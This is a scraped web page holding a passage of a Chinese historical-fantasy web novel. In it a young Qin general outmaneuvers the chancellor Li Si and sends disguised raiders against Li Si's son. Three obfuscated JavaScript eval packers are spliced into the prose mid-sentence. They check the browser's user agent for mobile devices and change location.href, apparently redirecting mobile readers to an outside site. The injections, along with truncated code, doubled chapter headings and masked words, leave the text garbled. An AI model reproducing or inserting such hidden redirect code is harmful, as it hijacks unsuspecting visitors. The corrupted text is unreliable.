“顾清寒……顾清寒!”李斯咬牙切齿,眼中闪动着寒光,“竖子不足与谋!本相还是小觑了他!” 一名幕僚小心翼翼道:“相爷,此子如今圣眷正隆,又有如此大功傍身,想要动他,怕是难了。” “难?”李斯冷笑一声,“这世上,就没有扳不倒的人!他越是风光,便越是容易招致祸端。锋芒太露,可不是什么好事。” 他看向另一名幕僚:“三川郡那边,由儿如何了?让他盯紧了,若有机会,我不介意给他顾清寒添点堵!” “相爷放心,公子那边一直关注着九原的动静。” 第112章 咸阳风动 九原计长 第一百一十二章咸阳风动九原计长 李斯踱了几步,眼中闪过一丝狠厉:“陛下既然如此看重他,那本相倒要看看,他这颗所谓的将星,能亮多久!北疆的水,还不够浑,得再搅一搅!” 他心中清楚,顾清寒的崛起,不仅威胁到他在朝中的地位,更可能影响到他未来的诸多布置。 这个变数,必须尽快除去,或者……掌控在自己手中。 而此刻的咸阳城,因为九原的捷报,已然掀起了轩然大波。 说书的茶楼里,顾清寒的名字成了新的传奇。 街头巷尾,百姓们都在谈论着那位以三千破十万的少年将军,以及他手中那些神乎其神的仙家法器。 顾清寒的名字,如同一颗投入平静湖面的石子,在咸阳城激起了一圈又一圈的涟漪,久久未能平息。 章台宫深处,嬴政独自凭窗而立,北望九原。 “清寒吾孙,你这盘棋,下得越来越大了。”他嘴角噙着一丝无人能懂的笑意,“朕倒要看看,你下一步,又会给朕带来什么惊喜。” 宦官尖细的嗓音落下,堂内众人神色各异。 这右庶长虽非实权军职,却也是二十等爵中的第十一级,对一个毫无根基的年轻人而言,已是天大的恩宠。 牛辅一听有金子有美酒,眼睛顿时亮得像两个铜铃,咧开大嘴直乐呵:“乖乖!千两金子!顾少,这下咱们又能多招不少弟兄,多打些好家伙了!” 他压根没去细想那右庶长是个什么官,只觉得肯定是顶好的官。 李山河独眼中也闪过一丝喜色,顾少受赏,他们这些跟着的人,脸上也有光。 石猛依旧面无表情,但眼神中对顾清寒的敬佩又深了几分。 顾清寒上前一步,接过诏书,神色平静地谢恩:“臣顾清寒,谢陛下隆恩。” 他心中却是冷笑。 右庶长? 嬴政这老狐狸,给个不痛不痒的爵位,既安抚了人心,又没给他实际的兵权扩张,倒是把名声给他抬得高高的。 不过,这千两黄金和百匹绸缎,倒是实打实的好处,正好解了他梧桐村和九原这边用钱的燃眉之急。 至于那些美酒,正好给弟兄们庆功。 “另,少府监公输墨等工匠,勤于公务,协助九原军备有功,特准其暂留九原,所需钱粮器物,由九原郡守府上报,国库拨付……” 听到这一条,公输墨和随同前来的几名少府工匠顿时激动得老脸通红。 “陛下圣明!”公输墨当即跪倒在地,声音都有些哽咽,“臣等定不负陛下厚望,竭尽所能,为顾将军……为大秦效力!” 他们原先还担心朝廷会强令他们返回咸阳,断了他们钻研那些神鬼莫测之物的机会。 如今有了陛下的金口玉言,他们便可以名正言顺地留在顾清寒身边,参与那些让他们心痒难耐的新技术研发了。 这简直比给他们升官发财还要让他们高兴。 顾清寒看着公输墨等人那副恨不得立刻投身科研的狂热模样,嘴角微微上扬。 这群技术宅,果然好拿捏。 有了朝廷的经费支持,他许多更大胆的计划,便可以放开手脚去做了。 送走了传旨的宦官,李贤捻着胡须,笑呵呵地对顾清寒道:“顾将军,哦不,现在该称顾右庶长了。恭喜恭喜啊!陛下对你可是青睐有加啊。” 顾清寒淡淡一笑:“李大人客气了。此次能守住九原,全赖诸位将士用命,以及大人居中调度,贤不敢居功。” 一番客套之后,众人散去。 牛辅勾着李山河的肩膀,嚷嚷着要去看看那千两黄金到底有多少,能不能堆成一座小山。 书房内,顾清寒将诏书随手放在案上,对石猛和李山河道:“赏赐的金银绸缎,石猛你负责接收清点,黄金一半入库,一半充作军饷,优先抚恤此次战死的弟兄家小,以及受伤将士的汤药费。绸缎分发给将士们,也给城中帮过忙的百姓送些去。美酒嘛,今晚便让弟兄们乐呵乐呵,但不可过量,军纪不能废。” “是!”石猛沉声应下。 “李山河,”顾清寒看向他,“匈奴降卒那边,如何了?” 李山河道:“按照顾少的 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他看向窗外,北方天空阴云密布,仿佛预示着草原即将到来的血雨腥风。 “我们现在要做的,是积蓄力量。九原,将是我们北方的根基。” 不久,公输墨兴冲冲地找上门来,身后还跟着几名抬着一个怪模怪样器物的工匠。 “顾将军!您看,这是我们根据您上次说的那个‘以水力驱动,可连续舂米’的构想,连夜赶制出来的水碓模型!” 公输墨献宝似的指着那模型,眼中闪烁着兴奋的光芒,“虽然还很粗糙,但原理上是可行的!若是放大,再配上足够的流水,日夜不休,可省却多少人力啊!” 顾清寒看着那结构精巧的水碓模型,满意地点点头:“不错,公输大匠果然名不虚传。此物若能量产,不仅我军的粮草加工效率能大大提升,对九原乃至整个北疆的民生,都是一件大好事。” 公输墨搓着手,嘿嘿笑道:“这还多亏了将军的奇思妙想。对了将军,您之前说从梧桐村调拨的‘新货’,什么时候能让我们开开眼界?我等可是心痒得很呐!” 第113章 九原风起云初动 第一百一十三章九原风起云初动 顾清寒笑道:“莫急,昨日已经运抵城外一处隐秘仓库。是一些半成品,还有些特殊的矿石和材料,正好需要诸位大匠费心。石猛,你带公输大匠他们去看看,注意保密。” “是!” 公输墨等人闻言,如同打了鸡血一般,连声道谢,跟着石猛迫不及待地去了。 顾清寒看着他们离去的背影,心中暗道,这批“新货”里,可是有不少好东西,比如更精纯的钢材冶炼技术相关的设备雏形,还有一些化学实验的基础器皿。 他要让这些工匠,在九原这片土地上,为他爆发出更大的能量。 夜深,顾清寒独自在灯下,手指在地图上缓缓移动。 “主公,”文远的声音在他心中响起,“咸阳的赏赐诏书,明升暗降,看似恩宠,实则是在敲打。那位皇帝,对您的忌惮,只怕又深了一层。” 顾清寒冷哼一声:“他忌惮与否,与我何干?我只要他继续给我提供资源,让我在这北疆站稳脚跟便可。右庶长,呵呵,倒也方便我日后行事。” 文远又道:“李斯那边,怕是不会善罢甘休。据咸阳传来的密报,他已暗中联络其在三川郡为郡守的儿子李由,似乎有所图谋。三川郡与九原郡虽不直接接壤,但也不算太远,主公需多加提防。” “李由?”顾清寒眼中寒光一闪,“李斯的儿子么?他若敢伸手,我不介意连他爹一起剁了!” 他站起身,走到窗边,望着深邃的夜空。 咸阳的风,已经吹到了九原。 他知道,平静只是暂时的,更大的风暴,还在酝酿。 “文远,梧桐村的‘民兵’训练得如何了?我需要更多的人手。九原这边,摊子铺得越来越大,不能只靠破阵营这三千人。” “主公放心,一切顺利。新一批的‘毕业生’,随时可以调往九原。” “很好。”顾清寒的目光变得越发坚定,“传我的命令,从明日起,九原郡内,凡愿为我破阵营效力者,无论出身,皆可报名。我要在最短的时间内,再扩充三千人!” 他要在这北疆,打造出一个真正的铁桶江山。 任他咸阳风云变幻,我自岿然不动。 而此刻的咸阳,丞相府中,李斯正听着心腹的密报。 “相爷,陛下对那顾清寒的信任,似乎已非我等所能动摇。不仅让他官升右庶长,还准许少府工匠留驻九原,拨付国库钱粮器物,这……这简直是如虎添翼啊!” 李斯脸色铁青,手中的茶杯被他捏得粉碎,滚烫的茶水溅了他一手,他却恍若未觉。 “竖子!竖子!”他低声咆哮,“陛下这是老糊涂了吗?如此放任一个来历不明的小子坐大,就不怕养虎为患?” 一名幕僚迟疑道:“相爷,那顾清寒如今风头正劲,又有大功在身,我们若是……” “哼!”李斯打断他,眼中闪过一丝阴鸷,“明着不行,就来暗的!他不是在九原搞得风生水起吗?那就给他找点麻烦!我已经传信给由儿,让他不必顾忌,尽管放手去做。我就不信,这顾清寒真是三头六臂,能应付得了四面八方的敌人!” 他看向窗外,北方,那里是顾清寒得意的地方,也即将成为他的梦魇之地。 “这盘棋,还没到最后呢。” 李斯喃喃自语,眼中是化不开的寒意。 他要让顾清寒知道,得罪他李斯的下场。 ...... 九原城,一夜之间仿佛活了过来。 城门外的招兵告示刚贴出去,不过半日,告示牌前便围得水泄不通。 “都**别挤!一个个来!” 牛辅敞着怀,露出古铜色的胸膛,站在一张临时搭起的高台上,唾沫横飞地吼着,“想加入咱们破阵营,跟着顾少吃香喝辣打匈奴的,先掂量掂量自己几斤几两!咱们这儿,不收孬种!” 台下黑压压一片,各色人等都有。 有九原本地的青壮,听闻顾将军神威,又见赏赐丰厚,便动了心思; 有附近的猎户、边民,常年与匈奴小股游骑打交道,骨子里有股悍勇之气; 甚至还有几个鼻梁高挺、眼窝深陷的胡人,操着半生不熟的秦言,也想来碰碰运气。 “顾少说了,不问出身,只看本事和忠心!” 牛辅大手一挥,“能打的,能扛的,脑子灵光的,都给老子站出来!咱们破阵营的规矩,有功必赏,有过必罚! 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招兵之事进行得如火如荼,另一边,郡守府后院的一处僻静仓房,也热闹非凡。 “神物!真是神物啊!” 公输墨胡子都快翘到天上去了,他正围着一堆被小心打开的箱子打转,箱子里露出的,是一些造型古怪的金属构件、晶莹剔透的琉璃器皿,还有几块黑乎乎、亮晶晶的石头。 “顾将军说,此乃‘精钢’的半成品,只需按图纸稍加锻打,便能远胜寻常钢铁!” 一名少府工匠捧着一块沉甸甸的钢锭,激动得满脸通红,“还有这‘琉璃皿’,通透无比,据说是用来观察细微之物变化,或是盛放某些‘烈性之水’……” “快看这个!”另一名工匠指着几块乌黑发亮的矿石,“将军称之为‘煤精’,说此物燃烧起来,火力远胜木炭,且烟气更少,若是用于冶炼,必能事半功倍!” 石猛在一旁看着这群几近疯魔的工匠,面无表情的脸上也难得露出一丝古怪。 顾少拿出来的这些东西,他是一个也看不懂,但看这些平日里眼高于顶的少府大匠们如获至宝的模样,想来定是非同凡响。 第114章 北地义军初扬名 第一百一十四章北地义军初扬名 “公输大匠,”石猛不得不出声打断他们的惊叹,“顾少说了,这些东西都交给你们,务必尽快研究透彻,若有所得,立刻报他。另外,那水碓的放大建造,也需尽快提上日程。” “放心!放心!”公输墨拍着胸脯,“有这些神物相助,老夫定不负将军所托!不出三月,定让将军看到一个全新的九原!” 工匠们有了新玩具,干劲十足。 而李山河那边,对那些匈奴降卒的调教也初见成效。 每日高强度的劳作,加上偶尔的“思想教育”——主要是由几个被成功“策反”的匈奴小头目现身说法,痛斥冒顿的残暴和秦军的“仁义”,再配合上充足的食物和受伤后的及时医治,大部分匈奴降卒渐渐没了反抗的心思。 一些原本桀骜不驯的刺头,在见识了破阵营严酷的军法和李山河那只独眼中时不时闪过的冷光后,也变得老实起来。 当然,也有那么一两个死硬分子,叫嚣着要为长生天尽忠,结果第二天便神秘地消失了,据说是半夜逃跑,失足掉进了狼窝。 这日傍晚,顾清寒正在书房内听取李山河的汇报。 “……目前已有三百余名降卒表示愿意为破阵营效力,其中不乏善骑射、通匈奴各部情况之人。其余的,也都老老实实干活,不敢再有异心。”李山河的语气带着一丝不易察觉的得意。 顾清寒点点头:“很好。这些人,暂时编入辅兵营,由你亲自统带。告诉他们,只要忠心效力,日后未必没有晋升的机会。” “是!” “冒顿那边,可有新的动静?” “斥候回报,冒顿在王庭旧地强征兵马,手段酷烈,已激起数个大部落的不满。 草原上如今是暗流汹涌,据说已有部落暗中联络,想要推举新的单于。 冒顿如今是焦头烂额,自顾不暇。” “让他再乱一会儿。”顾清寒嘴角勾起一丝冷意,“他越是挣扎,死得越快。” 就在此时,文远的声音在他心中响起:“主公,咸阳密报。李斯之子,三川郡守李由,近日动作频频。” 顾清寒眉头微挑:“哦?说来听听。” “李由以‘清查商路,严防奸细’为名,在三川郡与河东郡交界处设下重重关卡,盘查过往商旅。数日前,我方一支从关中采购药材和铁料的商队,便被其扣押,货物尽没,人员至今未归。” 文远的声音带着一丝凝重,“据查,李由似乎在刻意针对与九原方向有关的物资流动。而且,他还派人暗中联络河套地区的一些小部落和马匪,许以重利,让他们袭扰我九原郡外围的村落和开垦区。” “李由……”顾清寒眼中寒光一闪,“看来李斯这条老狗,是按捺不住,想让他的小狗崽子先来探探路了。” 三川郡,虽然不与九原直接接壤,但其地理位置扼守关中通往河东、河内等地的要道。 李由若是有心使坏,确实能给九原造成一些麻烦,尤其是物资运输方面。 “一个小小的郡守,也敢在我头上动土?”顾清寒冷笑一声,“他以为九原还是以前那个任人拿捏的九原吗?” 他看向李山河:“山河,你从斥候营中挑选五十名精锐,再从新招募的兵员中,挑选一百名悍勇之辈,由你亲自带领,去一趟三川郡。” 李山河一愣:“顾少,您的意思是……?” “李由不是喜欢扣押货物吗?”顾清寒嘴角露出一抹玩味的笑容,“那咱们就去‘帮’他运一批特殊的‘货物’过去。他不是喜欢联络马匪吗?那咱们就去会会那些马匪,看看他们是喜欢李由的金银,还是更喜欢我破阵营的刀子。” 李山河独眼中凶光一闪:“明白了,顾少!保证让那李由太守‘收’到一份大礼!” “记住,不要暴露破阵营的旗号。”顾清寒叮嘱道,“就说是‘北地义军’,看不惯贪官污吏,劫富济贫。事情闹得越大越好,我要让李斯知道,他的爪子,伸得太长了。” “嘿嘿,顾少放心,俺明白!” 李山河领命而去,脸上带着嗜血的兴奋。 牛辅在一旁 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五十名斥候营的老底子,眼神锐利如鹰,另外一百名,则是从新兵中千挑万选出来的狠角色,其中甚至夹杂着几个主动请缨,渴望用鲜血洗刷过往,换取真正信任的匈奴降卒。 临行前,顾清寒只交代了几句:“旗号‘北地义军’,专打李由的狗腿子和他豢养的豺狼。动静要大,手段要狠,别留下破阵营的痕迹。让他李斯知道,九原的刺,不好拔。” 李山河嘿嘿一笑,拍着胸脯保证:“顾少放心,这‘送温暖’的活儿,俺熟!” 一行人昼伏夜出,数日后便悄然潜入了三川郡地界。 三川郡郡守府,李由最近有些心神不宁。 他年岁不大,仗着父亲李斯的权势坐上郡守之位,平日里搜刮民脂民膏,结交地痞流氓,日子过得好不滋润。 奉父亲密令,给那九原的顾清寒添堵,他本以为是手到擒来的小事,无非是卡几批货,纵容手下马匪去骚扰一番。 “郡守大人,这是这个月的‘孝敬’,您过目。” 第115章 快如闪电,狠如雷霆 第一百一十五章快如闪电,狠如雷霆 一名腆着肚子的县尉,谄媚地将一个沉甸甸的钱袋放在李由案前。 李由懒洋洋地瞥了一眼,正要开口,一名亲兵慌慌张张闯了进来:“大人!不好了!南面三十里外的清水镇税卡,被人给端了!” “什么?”李由柳眉一竖,“谁干的?哪路**贼这么大胆子?” 那清水镇税卡,是他特意设立的肥缺,专卡南来北往的商队,油水丰厚。 “不……不清楚,只知道是一伙自称‘北地义军’的人,下手极狠,卡口的十几个兄弟,死的死,伤的伤,连……连库房都被搬空了!” “北地义军?”李由皱眉,这名号听着陌生,“查!给我查!本郡守倒要看看,是何方神圣,敢在太岁头上动土!” 清水镇往北的一处密林中,李山河正带着手下清点“战利品”。 “奶奶的,这李由娘们儿可真够黑的!”一名斥候啐了口唾沫,指着一堆金银布帛,“就这么个小卡子,搜刮的东西比咱们上次**黑风寨那伙山贼还多!” 几个新兵初历血战,脸上还带着未褪的兴奋和紧张。 方才一战,李山河指挥若定,斥候营老兵出手狠辣,他们跟着冲杀,虽有几个受了轻伤,但斩获颇丰,心中那股悍勇之气被彻底激发了出来。 一名脸上带着刀疤的新兵,原是边地猎户,此刻咧嘴笑道:“头儿,痛快!这些狗官,早就该收拾了!” 李山河独眼扫过众人,沉声道:“顾少说了,咱们是‘义军’,不拿百姓一针一线。这些钱财,留下咱们兄弟赶路用的,其余的,找些真正过不下去的苦哈哈,散了!” “头儿敞亮!”众人轰然应诺。 随后,李山河又道:“清水镇只是开胃小菜。斥候传回消息,李由手下还有几条大点的狗,平日里仗势欺人,鱼肉乡里。咱们一个个去给他们‘送温暖’!” 接下来的几日,三川郡境内,一股名为“北地义军”的旋风迅速刮起。 河阳县县尉平日横行霸道,家中金银堆积如山,一夜之间,府邸被破,县尉本人被吊在自家屋梁上,胸前贴着一张纸,上书“鱼肉百姓,死有余辜——北地义军宣”。 其家财被翻出,大半散给了城中贫户。 盘踞在黑松岭的一伙马匪,据说是李由暗中扶持,专干些打家劫舍、绑票勒索的勾当。 一日清晨,被人发现老巢被血洗,百十号马匪无一生还,只有一面歪歪扭扭的“义”字旗插在山头。 北地义军的行动,快如闪电,狠如雷霆。 他们专挑那些民愤极大、与李由勾结甚深的官吏和恶霸下手,得了财物,也学着话本里的侠盗,或明或暗地散给穷苦百姓。 一时间,三川郡民间议论纷纷。 “听说了吗?那‘北地义军’又把张屠户家给抄了!这张屠户平日里欺行霸市,这下可遭报应了!” “何止啊!我还听说他们把抢来的粮食分给了城西那些快饿死的流民呢!” “这可真是替天行道的好汉啊!” “嘘!小声点!官府正到处抓他们呢!” 百姓们私下里拍手称快,对这支神出鬼没的“北地义军”充满了好奇和敬畏。 而三川郡的官场,则是一片鸡飞狗跳,人人自危。 那些平日里作威作福的官吏,如今是食不甘味,寝不安席,生怕哪天“北地义军”就摸到了自己头上。 郡守府内,李由气得将一只心爱的琉璃盏摔得粉碎。 “废物!一群废物!”他对着堂下战战兢兢的属官们尖叫,“连一群毛贼都抓不住!本郡守养你们何用!” 一名都尉硬着头皮道:“大人,那‘北地义军’行踪诡秘,来去如风,而且……而且他们似乎对郡内各处路径、官员底细都了如指掌,属下怀疑,他们……他们早有预谋,甚至在郡内有内应!” “内应?”李由眼中闪过一丝阴狠,“给本郡守查!挨家挨户地查!凡有可疑者,格杀勿论!本郡守就不信,掘地三尺,还找不出这些藏头露尾的鼠辈!” 他又对一名心腹幕僚道:“立刻修书,八百里加急送往咸阳,将此事禀报父亲大人!请父亲定夺!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705789|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他隐隐感觉到,这“北地义军”的目标,似乎并不仅仅是劫掠财物那么简单,其背后,恐怕牵扯着更大的图谋。 难道……是九原那边的人?想到那个让他父亲都颇为忌惮的顾清寒,李由心头不由一寒。 九原郡,郡守府。 牛辅正赤着膀子,在新建的练兵场上呼喝连连,督促着新兵操练。 “都给老子把腿抬高点!没吃饭吗?一个个软得跟娘们儿似的!” “那边那个胖子,你那是劈砍吗?那是给老子挠痒痒呢!” 虽然骂骂咧咧,但牛辅眼中却透着满意。 这些新兵,经过几日操练,已经初具模样,尤其是几个肯下死力气的,颇有几分他当年的风采。 另一边,公输墨带着一群工匠,正围着一个巨大的水轮兴奋地比划着。 水碓已经初步建成,随着水轮转动,巨大的石锤一起一落,将稻谷舂得雪白。 “妙!妙啊!”公输墨抚着胡须,满脸红光,“有此神物,我军粮草加工,何愁效率不高!” 顾清寒的书房内,他正看着李山河派人送回的密信。 信中简述了“北地义军”在三川郡的“战果”,以及李由的焦头烂额。 “呵呵,李由这条小鱼,还真不经折腾。”顾清寒嘴角勾起一抹冷笑。 “主公,”文远的声音适时响起,“李山河此举,虽能震慑李由,但也必然会惊动李斯。咸阳那边,怕是很快就会有反应。” “要的就是他有反应。”顾清寒将密信凑到烛火上点燃,看着它化为灰烬,“李斯老儿若是聪明,就该知道收敛。他若是不知死活,继续派人来招惹我,那我不介意把火烧得更大一些。” 他起身,走到沙盘前,目光在三川郡的位置停留片刻,随即移向了更远的地方。 “北疆的风,才刚刚刮起来呢。”他轻声自语,眼中是深不见底的谋算,“是时候,让草原上的某些人,也感受一下九原的‘温暖’了。” 李斯的棋局,他要一步步破掉。 而他自己的棋局,才刚刚开始落子。 第116章 丞相府内生怒火 第一百一十六章丞相府内生怒火 咸阳,丞相府。 夜已深,李斯却毫无睡意。 书房内,灯火摇曳,映照着他铁青的面容。 地上,是几片碎裂的竹简,那是他三川郡的儿子李由派人八百里加急送来的泣血哀书。 “北地义军……好一个北地义军!” 李斯从牙缝里挤出这几个字,额角青筋暴跳。 他如何看不出,这股突然冒出来的所谓义军,行事如此精准狠辣,目标直指他李家的钱袋子和脸面,分明就是冲着他来的。 而这背后,除了那个在九原风生水起的顾清寒,他想不出第二个人有这个胆子,也有这个动机。 “竖子!竖子安敢如此欺我!” 李斯一拳砸在案上,震得笔墨纸砚一阵乱跳。 他本想给顾清寒添堵,不成想反被对方将了一军,还在自己的地盘上捅了个大窟窿。 “相爷息怒,”一名心腹幕僚躬身劝道,“此事蹊跷,那北地义军来去无踪,寻常**贼绝无此等能耐。依属下看,定是九原方面所为,意在敲山震虎。” “敲山震虎?”李斯冷笑,“他顾清寒也配!他以为陛下赏他个右庶长,他就真能无法无天了?” 幕僚低声道:“相爷,如今顾清寒圣眷正隆,九原大捷之功尚未散去。若无确凿证据,我等怕是难以……” 李斯眼中闪过一丝厉色:“证据?本相要的就是让他顾清寒焦头烂额,让他知道,得罪我李斯的下场!明日早朝,本相定要向陛下陈情,请陛下发兵,剿灭此等流寇,以正视听!” 然而,第二日早朝。 当李斯慷慨陈词,痛斥北地义军在三川郡荼毒地方,请求陛下派兵清剿之时。 御座上的嬴政只是淡淡瞥了他一眼,不咸不淡地说道:“三川郡流寇滋扰,乃地方郡守失职。李由身为郡守,当自行设法剿匪,安抚民众。若连区区流寇都弹压不住,朕要他何用?” 一句话,便将李斯的请求堵了回去,还顺带敲打了一下李由。 李斯碰了一鼻子灰,心中又惊又怒。 陛下这态度,分明是在偏袒那顾清寒! 他哪里知道,嬴政巴不得顾清寒和李斯斗得更厉害些。 李斯这颗棋子,也该敲打敲打了。 散朝后,李斯回到府中,越想越气。 明着不行,那就只能来暗的了。 他立刻修书一封,派心腹送往三川郡,嘱咐李由不惜一切代价,也要将那北地义军的底细查清,最好能抓到几个活口,坐实与九原的关系。 同时,他也开始暗中联络朝中与他交好的官员,试图从其他方面给九原施压。 九原郡,练兵场上,牛辅的嗓门依旧洪亮如钟。 “都给老子精神点!看看你们那熊样,是想绣花还是想上阵杀敌?” 他拎着一根粗木棍,在新兵队列中来回巡视,时不时给哪个动作不到位的屁股上来一下。 “尤其是你,王二麻子!” 牛辅走到一个贼眉鼠眼的瘦小汉子面前,木棍指着他,“你小子昨天偷看伙房的烧鸡,别以为老子没瞧见!今天再给老子偷懒,晚饭就别想了!” 王二麻子缩了缩脖子,嘿嘿一笑:“牛爷,俺那是……那是学习顾少兵法,知己知彼,百战不殆!俺先熟悉一下咱们的后勤保障嘛!” “滚犊子!” 牛辅笑骂一句,却也没真生气。 这些新兵蛋子,虽然底子差了些,但大多都是苦出身,肯吃苦,也听话,短短十数日,已经有了些兵样子。 尤其是顾少定下的规矩,训练刻苦者有肉吃,表现优异者有赏钱,更是极大调动了他们的积极性。 另一边,郡守府后院的工坊区,则是另一番热火朝天的景象。 “成了!成了!顾将军,您快来看!” 公输墨胡子都快飞起来了,拉着顾清寒的袖子就往一口新建的冶炼炉旁跑。 只见炉火熊熊,几名工匠正合力将一块烧得通红的金属块从炉中取出,放在锻打台上。 一名膀大腰圆的匠人抡起大锤,奋力砸下。 “当!”火星四溅。 “顾将军,您看这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705790|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火花!” 公输墨指着那飞溅的火星,激动得声音都有些颤抖,“用了您说的那‘煤精’,炉温远胜从前!再配上咱们改良的鼓风技术,这炼出来的钢,比以往少府监的百炼钢还要坚韧!” 他拿起旁边一把新打出的**,刀身在阳光下泛着幽冷的寒光,比之前破阵营装备的**更显锋利厚重。 “好钢!” 顾清寒接过**,随手一挥,空气中发出一声轻微的撕裂声。 他满意地点点头,“公输大匠,你们功不可没。有了这等利器,我破阵营的战力,又能提升一个台阶。” 公输墨与一众工匠闻言,皆是与有荣焉,看向顾清寒的眼神更加狂热。 对他们而言,能参与到这种划时代的技术革新中,比任何赏赐都让他们兴奋。 “顾将军,那‘水力锻锤’的图纸,我等也已推敲得差不多了,若是能造出来,锻打效率必能再翻数倍!” “好,需要什么材料,尽管向石猛报备。” 顾清寒心情大好。 兵强马壮,粮草充足,器械精良,他**…… 哦不,是自保的本钱越来越厚实了。 书房内,顾清寒听取着李山河派人送回的关于北地义军的最新进展。 “李由那小子,现在怕是连觉都睡不踏实了。”顾清寒轻笑。 文远在一旁提醒道:“主公,李斯老奸巨猾,吃了这么大的亏,绝不会善罢甘休。咸阳那边,怕是很快就会有动作。我们还需早做准备。” “他有张良计,我有过墙梯。” 顾清寒手指在地图上轻轻一点,指向了草原深处,“李斯那边,让李山河继续陪他玩玩。我们现在,该给冒顿也送点‘温暖’了。” 他眼中闪过一丝寒芒:“草原上的火,烧得还不够旺。斥候不是说,已经有部落对冒顿不满,暗中串联了吗?” 李山河派回的亲信斥候头领躬身道:“回禀顾少,正是。尤其是乌桓、鲜卑等几个曾被冒顿强行吞并的部落,怨气最深。只是他们群龙无首,又惧怕冒顿余威,暂时不敢妄动。” 第117章 草原深处起狼烟 第一百一十七章草原深处起狼烟 “那就给他们一个‘首’,再给他们一点胆气。” 顾清寒嘴角勾起一抹弧度,“从破阵营中挑选二十名精锐,再从那些‘表现良好’的匈奴降卒中,挑出三十个机灵可靠,且对冒顿怀有旧怨的。由石猛亲自带队,携带一些小玩意儿,潜入草原,找到那些心怀不满的部落头领。” 石猛闻言,上前一步,沉声道:“顾少有何吩咐?” “告诉他们,”顾清寒的语气带着一丝冰冷,“冒顿失道寡助,已是冢中枯骨。若他们愿奉我九原为宗主,共同讨伐冒顿,事成之后,我顾清寒担保他们部族平安,牛羊土地,只多不少。若他们能取下冒顿首级来献,我破阵营的武库,任他们挑选三样‘神兵’。” “神兵?”石猛微微一怔。 “就是公输墨他们新捣鼓出来的那些,比如**的引信,暴雨梨花**的图纸残片,或者几把新炼的**。” 顾清寒补充道,“当然,具体给什么,怎么给,你相机行事。记住,我们要的是一个混乱的草原,一个听话的草原。” “属下明白!” 石猛眼中闪过一丝兴奋,这种深入敌后,搅动风云的任务,正合他胃口。 “另外,”顾清寒又看向那斥候头领,“你回去告诉李山河,三川郡那边,可以适当收敛一些,别真把李由逼急了,兔子急了也咬人。我们的主要精力,还是要放在北边。” “是!” 就在此时,一名亲兵匆匆来报: “顾少,府外有一自称赵正的商贾求见,说是您的故人,还带了些许薄礼。” “赵正?” 顾清寒微微一愣,随即想起那个在梧桐村与他有过诸多交情,谈吐不凡的赵老伯。 他怎么会来九原? “快请!” 不多时,化名为赵正的嬴政,一身寻常商贾打扮,在陆佩奇的护卫下,走进了顾清寒的书房。 “赵老伯,许久不见,别来无恙?” 顾清寒起身相迎,脸上带着几分真诚的笑意。 对于这个曾在他微末之时给予过帮助,且颇有见识的赵老伯,他还是很有好感的。 “清寒老弟,如今可是名震北疆的顾右庶长了,愚兄冒昧来访,未曾唐突吧?” 嬴政哈哈一笑,目光在书房内不着痕迹地扫过,尤其是那副巨大的沙盘地图,上面密密麻麻标注着各种符号。 “赵老伯说笑了,快请坐。”顾清寒亲自为他斟茶,“不知赵老伯此来九原,所为何事?” 嬴政呷了口茶,笑道:“愚兄做了些皮**生意,听闻九原如今百废待兴,商机无限,便想来看看。顺便,也给老弟带了些不成敬意的小玩意儿。” 说着,他示意陆佩奇将带来的一个木匣打开。 匣中,赫然是几卷崭新的兵书,还有几支做工精巧的狼毫笔,以及一方上好的砚台。 “这……”顾清寒看着这些礼物,心中微动。 这赵正,送的东西倒是颇合他心意。 “清寒老弟文韬武略,这些粗鄙之物,聊表心意罢了。” 嬴政摆摆手,话锋一转,“愚兄沿途也听闻了一些关于北地义军的传闻,不知老弟对此有何看法?” 他看似随意地问起,眼神却带着一丝探究。 顾清寒心中一凛,这赵正消息倒是灵通。 他面上却不动声色,笑道:“略有耳闻。想来是三川郡官逼民反,才有了这等义士揭竿而起吧。与我九原,并无干系。” 嬴政深深看了他一眼,不置可否地笑了笑。 这小子,滑头的很。 两人又闲聊了几句九原的风土人情和商业前景,嬴政便起身告辞,说是要去城中寻个客栈住下。 送走嬴政,顾清寒回到书房,眉头微蹙。 这赵正,突然出现在九原,还问起北地义军之事,总让他觉得有些不同寻常。 “主公,”文远的声音在他心中响起,“此人……不简单。” “我知道。”顾清寒点点头,“他对我并无恶意,反而屡次相助。先不管他,眼下,草原上的那把火,该点起来了。” 他走到窗边,望向北方,那里,一场新的风暴,即将因他而起。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705791|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而咸阳城中的李斯,恐怕还在为如何对付北地义军而焦头烂额。 一场涉及朝堂、边郡、草原的复杂棋局,正以九原为中心,缓缓展开。 ...... 送走赵正,顾清寒在书房中踱了几步,手指无意识地摩挲着那方上好的砚台。 